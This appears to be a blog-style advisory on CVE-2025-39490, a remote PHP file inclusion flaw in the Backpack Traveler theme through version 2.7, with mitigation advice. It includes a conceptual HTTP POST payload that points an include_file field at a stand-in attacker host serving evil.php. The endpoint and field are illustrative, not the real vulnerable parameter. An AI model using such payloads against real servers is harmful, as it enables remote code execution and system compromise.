Overview
CVE-2025-39490 is a significant and severe vulnerability in the Mikado-Themes Backpack Traveler that can allow an attacker to include remote PHP files into the local server, leading to potential system compromise or data leakage. This vulnerability affects all versions of Backpack Traveler up to and including version 2.7. As PHP is a commonly used server-side scripting language, this vulnerability could potentially impact a large number of web applications and websites that use Backpack Traveler. This blog post aims to provide a comprehensive overview of CVE-2025-39490, its potential impact, and mitigation strategies.
Vulnerability Summary
CVE ID: CVE-2025-39490
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
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Product | Affected Versions
Mikado-Themes Backpack Traveler | Up to and including 2.7
How the Exploit Works
The vulnerability CVE-2025-39490 stems from an “improper control of filename for include/require statement” in the PHP programming language. An attacker can potentially exploit this vulnerability by manipulating the filename in the include or require statement such that a remote PHP file is included instead of the intended local file. This allows the remote file to be executed on the local server, potentially leading to unauthorized access, system compromise, or data leakage.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. In this case, the attacker sends a POST request to the vulnerable endpoint with a malicious payload that includes the remote file.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://malicious.example.com/evil.php" }When the server processes this request, it inadvertently includes and executes the remote PHP file (evil.php) from the malicious server, potentially leading to a system compromise.
Mitigation Guidance
To mitigate the risks associated with CVE-2025-39490, users are recommended to apply the vendor-provided patch as soon as possible. If immediate patching is not feasible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block attempts to exploit this vulnerability can serve as a temporary mitigation strategy. Regularly updating your systems and applications, using strong and unique passwords, and limiting the privileges of user accounts can also help protect against similar vulnerabilities in the future.